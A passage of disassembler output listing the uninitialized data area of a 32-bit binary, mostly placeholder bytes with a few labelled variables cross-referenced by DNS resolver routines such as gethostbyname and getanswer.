		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_8079F10	db    ?	;		; DATA XREF: getanswer+1F6o
					; sub_804C5A4+113o ...
		db    ?	;
		db    ?	;
		db    ?	;
unk_8079F14	db    ?	;		; DATA XREF: getanswer+50o
					; sub_804C5A4+47o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807A315	db    ?	;		; DATA XREF: getanswer+54Eo
		db    ?	;
		db    ?	;
dword_807A318	dd ?			; DATA XREF: gethostbyname+35w
					; gethostbyname+81o ...
unk_807A31C	db    ?	;		; DATA XREF: sub_804C5A4+AAo
					; _getnishost+109o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807A340	dd ?			; DATA XREF: sub_804C5A4+A0o
					; sub_804C5A4+AAw ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807A348	dd ?			; DATA XREF: dotrimdomain+14r
					; init_services_resolv+985w ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807A358	db    ?	;		; DATA XREF: init_services_resolv+Eo
					; init_services_resolv+D98o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
